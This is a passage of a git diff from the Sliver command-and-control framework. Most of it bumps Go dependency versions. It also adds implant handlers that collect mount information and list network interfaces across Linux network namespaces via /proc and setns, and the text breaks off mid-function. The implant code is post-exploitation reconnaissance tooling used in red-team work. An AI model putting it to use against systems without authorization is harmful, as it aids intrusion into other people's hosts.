google.golang.org/grpc v1.59.0
google.golang.org/protobuf v1.31.0
google.golang.org/protobuf v1.33.0
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.5.1
gorm.io/driver/postgres v1.5.2
@@ -109,7 +111,6 @@ require (
github.com/gobwas/ws v1.3.0 // indirect
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 // indirect
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
github.com/golang/protobuf v1.5.3 // indirect
github.com/google/btree v1.1.2 // indirect
github.com/google/go-cmp v0.5.9 // indirect
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c // indirect
@@ -122,7 +123,8 @@ require (
github.com/insomniacslk/dhcp v0.0.0-20230908212754-65c27093e38a // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
github.com/jackc/pgx/v5 v5.3.1 // indirect
github.com/jackc/pgx/v5 v5.5.4 // indirect
github.com/jackc/puddle/v2 v2.2.1 // indirect
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.5 // indirect
@@ -135,8 +137,8 @@ require (
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.19 // indirect
github.com/mattn/go-runewidth v0.0.14 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mattn/go-runewidth v0.0.15 // indirect
github.com/mdlayher/genetlink v1.3.2 // indirect
github.com/mdlayher/netlink v1.7.2 // indirect
github.com/mdlayher/sdnotify v1.0.0 // indirect
+26 -29
View File
@@ -122,8 +122,8 @@ github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.m
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs=
github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw=
github.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM=
github.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE=
github.com/frankban/quicktest v1.14.5 h1:dfYrrRyLtiqT9GyKXgdh+k4inNeTvmGbuSgZ3lx3GhA=
github.com/frankban/quicktest v1.14.5/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
github.com/fxamacker/cbor/v2 v2.5.0 h1:oHsG0V/Q6E/wqTS2O1Cozzsy69nqCiguo5Q1a1ADivE=
@@ -226,12 +226,14 @@ github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsI
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a h1:bbPeKD0xmW/Y25WS6cokEszi5g+S0QxI/d45PkRi7Nk=
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a/go.mod h1:5TJZWKEWniPve33vlWYSoGYefn3gLQRzjfDlhSJ9ZKM=
github.com/jackc/pgx/v5 v5.3.1 h1:Fcr8QJ1ZeLi5zsPZqQeUZhNhxfkkKBOgJuYkJHoBOtU=
github.com/jackc/pgx/v5 v5.3.1/go.mod h1:t3JDKnCBlYIc0ewLF0Q7B8MXmoIaBOZj/ic7iHozM/8=
github.com/jackc/pgx/v5 v5.5.4 h1:Xp2aQS8uXButQdnCMWNmvx6UysWQQC+u1EoizjguY+8=
github.com/jackc/pgx/v5 v5.5.4/go.mod h1:ez9gk+OAat140fv9ErkZDYFWmXLfV+++K0uAOiwgm1A=
github.com/jackc/puddle/v2 v2.2.1 h1:RhxXJtFG022u4ibrCSMSiu5aOq1i77R3OHKNJj77OAk=
github.com/jackc/puddle/v2 v2.2.1/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
github.com/jedib0t/go-pretty/v6 v6.4.6 h1:v6aG9h6Uby3IusSSEjHaZNXpHFhzqMmjXcPq1Rjl9Jw=
github.com/jedib0t/go-pretty/v6 v6.4.6/go.mod h1:Ndk3ase2CkQbXLLNf5QDHoYb6J9WtVfmHZu9n8rk2xs=
github.com/jedib0t/go-pretty/v6 v6.5.8 h1:8BCzJdSvUbaDuRba4YVh+SKMGcAAKdkcF3SVFbrHAtQ=
github.com/jedib0t/go-pretty/v6 v6.5.8/go.mod h1:zbn98qrYlh95FIhwwsbIip0LYpwSG8SUOScs+v9/t0E=
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
@@ -258,8 +260,8 @@ github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/klauspost/compress v1.10.3/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
github.com/klauspost/compress v1.17.0 h1:Rnbp4K9EjcDuVuHtd0dgA4qNuv9yKDYKK1ulpJwgrqM=
github.com/klauspost/compress v1.17.0/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
github.com/klauspost/compress v1.17.8 h1:YcnTYrq7MikUT7k0Yb5eceMmALQPYBW/Xltxn0NAMnU=
github.com/klauspost/compress v1.17.8/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw=
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a h1:+RR6SqnTkDLWyICxS1xpjCi/3dhyV+TgZwA6Ww3KncQ=
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a/go.mod h1:YTtCCM3ryyfiu4F7t8HQ1mxvp1UBdWM2r6Xa+nGWvDk=
@@ -293,11 +295,10 @@ github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hd
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA=
github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U=
github.com/mattn/go-runewidth v0.0.15/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/mattn/go-sqlite3 v1.14.18 h1:JL0eqdCOq6DJVNPSvArO/bIV9/P7fbGrV00LZHc+5aI=
github.com/mattn/go-sqlite3 v1.14.18/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
github.com/mdlayher/genetlink v1.2.0/go.mod h1:ra5LDov2KrUCZJiAtEvXXZBxGMInICMXIwshlJ+qRxQ=
@@ -342,7 +343,6 @@ github.com/pierrec/lz4/v4 v4.1.18/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFu
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18=
github.com/pkg/sftp v1.13.6 h1:JFZT4XbOU7l77xGSpOdW+pwIMqP044IyjXX6FGyEKFo=
github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Qk=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
@@ -352,8 +352,6 @@ github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca h1:tD797h1
github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc=
github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/Mcuw=
github.com/reeflective/console v0.1.6/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek=
github.com/reeflective/readline v1.0.11 h1:4+aiebj7a89hTRJOMM98H+md1Kxu+v1XkfdCs0n6odQ=
github.com/reeflective/readline v1.0.11/go.mod h1:mcD0HxNVJVteVwDm9caXKg52nQACVyfh8EyuBmgVlzY=
github.com/reeflective/readline v1.0.13 h1:TeJmYw9B7VRPZWfNExr9QHxL1m0iSicyqBSQIRn39Ss=
github.com/reeflective/readline v1.0.13/go.mod h1:3iOe/qyb2jEy0KqLrNlb/CojBVqxga9ACqz/VU22H6A=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
@@ -377,15 +375,12 @@ github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.4/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
github.com/tailscale/certstore v0.1.1-0.20231020161753-77811a65f4ff h1:vnxdYZUJbsSRcIcduDW3DcQqfqaiv4FUgy25q8X+vfI=
@@ -420,6 +415,8 @@ github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo=
github.com/ugorji/go v1.1.7/go.mod h1:kZn38zHttfInRq0xu/PH0az30d+z6vm202qpg1oXVMw=
github.com/ugorji/go/codec v1.1.7 h1:2SvQaVZ1ouYrrKKwoSk2pzd4A9evlKJb9oTL+OaLUSs=
github.com/ugorji/go/codec v1.1.7/go.mod h1:Ax+UKWsSmolVDwsd+7N3ZtXu+yMGCf907BLYF3GoBXY=
github.com/ulikunitz/xz v0.5.11 h1:kpFauv27b6ynzBNT/Xy+1k+fK4WswhN/6PN5WhFAGw8=
github.com/ulikunitz/xz v0.5.11/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
github.com/vishvananda/netlink v1.2.1-beta.2 h1:Llsql0lnQEbHj0I1OuKyp8otXp0r3q0mPkuhwHfStVs=
github.com/vishvananda/netlink v1.2.1-beta.2/go.mod h1:twkDnbuQxJYemMlGd4JFIcuhgX83tXhKS2B/PRMpOho=
github.com/vishvananda/netns v0.0.0-20200728191858-db3c7e526aae/go.mod h1:DD4vA1DwXk04H54A1oHXtwZmA0grkVMdPxx/VGLCah0=
@@ -450,8 +447,8 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k=
golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4=
golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30=
golang.org/x/crypto v0.22.0/go.mod h1:vr6Su+7cTlO45qkww3VDJlzDn0ctJvRgYbC2NvXHt+M=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g=
golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k=
@@ -480,8 +477,8 @@ golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qx
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
golang.org/x/net v0.24.0 h1:1PcaxkF854Fu3+lvBIx5SYn9wRlBzzcnHZSiaFFAb0w=
golang.org/x/net v0.24.0/go.mod h1:2Q7sJY5mzlzWjKtYUEXSlBWCdyaioyXzRB2RtU8KVE8=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.12.0 h1:smVPGxink+n1ZI5pkQa8y6fZT0RW0MgCO5bFpepy4B4=
golang.org/x/oauth2 v0.12.0/go.mod h1:A74bZ3aGXgCY0qaIC9Ahg6Lglin4AMAco8cIv9baba4=
@@ -529,12 +526,12 @@ golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc=
golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o=
golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4=
golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0=
golang.org/x/term v0.19.0 h1:+ThwsDv+tYfnJFhF4L8jITxu1tdTWRTZpdsWgEgjL6Q=
golang.org/x/term v0.19.0/go.mod h1:2CuTdWZ7KHSQwUzKva0cbMg6q2DMI3Mmxp+gKJbskEk=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
@@ -591,8 +588,8 @@ google.golang.org/grpc v1.59.0 h1:Z5Iec2pjwb+LEOqzpB2MR12/eKFhDPhuqW91O+4bwUk=
google.golang.org/grpc v1.59.0/go.mod h1:aUPDwccQo6OTjy7Hct4AfBPD1GptF4fyUjIkQ9YtF98=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8=
google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
google.golang.org/protobuf v1.33.0 h1:uNO2rsAINq/JlFpSdYEKIZ0uKD/R9cpdv0T+yoGwGmI=
google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos=
gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2wq9VY=
gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3eoHtnX5UgUo=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+2 -2
View File
@@ -18,9 +18,11 @@ require (
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.13.0
golang.org/x/net v0.15.0
golang.org/x/sys v0.14.0
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
google.golang.org/protobuf v1.31.0
gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259
)
require (
@@ -37,7 +39,6 @@ require (
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/mod v0.13.0 // indirect
golang.org/x/net v0.15.0 // indirect
golang.org/x/text v0.14.0 // indirect
golang.org/x/time v0.3.0 // indirect
golang.org/x/tools v0.13.0 // indirect
@@ -48,5 +49,4 @@ require (
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259 // indirect
)
+24 -1
View File
@@ -32,6 +32,7 @@ import (
"unsafe"
"github.com/bishopfox/sliver/implant/sliver/procdump"
"github.com/bishopfox/sliver/implant/sliver/mount"
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -57,7 +58,7 @@ var (
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigHandler,
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
@@ -71,6 +72,7 @@ var (
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgProcessDumpReq: dumpHandler,
sliverpb.MsgMountReq: mountHandler,
sliverpb.MsgGrepReq: grepHandler,
// Wasm Extensions - Note that execution can be done via a tunnel handler
@@ -124,6 +126,27 @@ func dumpHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func mountHandler(data []byte, resp RPCResponse) {
mountReq := &sliverpb.MountReq{}
err := proto.Unmarshal(data, mountReq)
if err != nil {
return
}
mountData, err := mount.GetMountInformation()
mountResp := &sliverpb.Mount{
Info: mountData,
Response: &commonpb.Response{},
}
if err != nil {
mountResp.Response.Err = err.Error()
}
data, err = proto.Marshal(mountResp)
resp(data, err)
}
func taskHandler(data []byte, resp RPCResponse) {
var err error
task := &sliverpb.TaskReq{}
@@ -35,6 +35,7 @@ import (
"syscall"
"github.com/bishopfox/sliver/implant/sliver/extension"
"github.com/bishopfox/sliver/implant/sliver/mount"
"github.com/bishopfox/sliver/implant/sliver/priv"
"github.com/bishopfox/sliver/implant/sliver/procdump"
"github.com/bishopfox/sliver/implant/sliver/ps"
@@ -92,6 +93,7 @@ var (
sliverpb.MsgServicesReq: servicesListHandler,
sliverpb.MsgServiceDetailReq: serviceDetailHandler,
sliverpb.MsgStartServiceByNameReq: startServiceByNameHandler,
sliverpb.MsgMountReq: mountHandler,
// Generic
sliverpb.MsgPing: pingHandler,
@@ -872,6 +874,27 @@ func serviceDetailHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func mountHandler(data []byte, resp RPCResponse) {
mountReq := &sliverpb.MountReq{}
err := proto.Unmarshal(data, mountReq)
if err != nil {
return
}
mountData, err := mount.GetMountInformation()
mountResp := &sliverpb.Mount{
Info: mountData,
Response: &commonpb.Response{},
}
if err != nil {
mountResp.Response.Err = err.Error()
}
data, err = proto.Marshal(mountResp)
resp(data, err)
}
// Extensions
func registerExtensionHandler(data []byte, resp RPCResponse) {
+167 -4
View File
@@ -23,10 +23,21 @@ import (
"log"
// {{end}}
"fmt"
"io/ioutil"
"net"
"os"
"path/filepath"
"runtime"
"strconv"
"syscall"
"github.com/bishopfox/sliver/implant/sliver/ps"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"golang.org/x/sys/unix"
)
func psHandler(data []byte, resp RPCResponse) {
@@ -51,10 +62,10 @@ func psHandler(data []byte, resp RPCResponse) {
for _, proc := range procs {
p := &commonpb.Process{
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Architecture: proc.Architecture(),
}
p.CmdLine = proc.(*ps.UnixProcess).CmdLine()
@@ -63,3 +74,155 @@ func psHandler(data []byte, resp RPCResponse) {
data, err = proto.Marshal(psList)
resp(data, err)
}
func getFdFromPath(path string) (int, error) {
fd, err := unix.Open(path, unix.O_RDONLY|unix.O_CLOEXEC, 0)
if err != nil {
return -1, err
}
return fd, nil
}
func getUniqueFd(fd int) string {
// Returns the unique namespace ID
var s unix.Stat_t
err := unix.Fstat(fd, &s)
if err != nil {
return "Unknown"
}
return fmt.Sprintf("NS(%d:%d)", s.Dev, s.Ino)
}
func ifconfigLinuxHandler(_ []byte, resp RPCResponse) {
interfaces := ifconfigLinux()
// {{if .Config.Debug}}
log.Printf("network interfaces: %#v", interfaces)
// {{end}}
data, err := proto.Marshal(interfaces)
resp(data, err)
}
func nsLinuxIfconfig(interfaces *sliverpb.Ifconfig) {
namespacesFound := make(map[uint64]string)
procDir := "/proc"
procContents, err := ioutil.ReadDir(procDir)
if err != nil {
//{{if .Config.Debug}}
log.Printf("error reading /proc: %v", err)
//{{end}}
return
}
for _, entry := range procContents {
if !entry.IsDir() {
continue
}
match, _ := filepath.Match("[1-9]*", entry.Name())
if match {
// Check if /proc/PID/net/ns exists
checkPath := filepath.Join(procDir, entry.Name(), "/ns/net")
if _, err := os.Stat(checkPath); !os.IsNotExist(err) {
// path for /proc/PID/ns/net exists
// inode used to track unique namespaces
var inode uint64
fileinfo, err := os.Stat(checkPath)
if err != nil {
//{{if .Config.Debug}}
log.Printf("error : %v", err)
//{{end}}
continue
}
inode = fileinfo.Sys().(*syscall.Stat_t).Ino
// Track unique namespaces
namespacesFound[inode] = checkPath
}
}
}
// Lock the OS Thread so we don't accidentally switch namespaces
runtime.LockOSThread()
defer runtime.UnlockOSThread()
// Save the current network namespace
pidPath := strconv.Itoa(os.Getpid())
tidPath := strconv.Itoa(unix.Gettid())
origns, _ := getFdFromPath(filepath.Join(procDir, pidPath, "/task", tidPath, "/ns/net"))
defer unix.Close(origns)
// We only need to use the path value
for _, nsPath := range namespacesFound {
nsFd, err := unix.Open(nsPath, unix.O_RDONLY|unix.O_CLOEXEC, 0)
if err != nil {
continue
}
// Ignore origin namespace
if getUniqueFd(nsFd) == getUniqueFd(origns) {
continue
}
err = unix.Setns(nsFd, unix.CLONE_NEWNET)
if err != nil {
// Failed to enter namespace
continue
}
ifaces, _ := net.Interfaces()
// {{if .Config.Debug}}
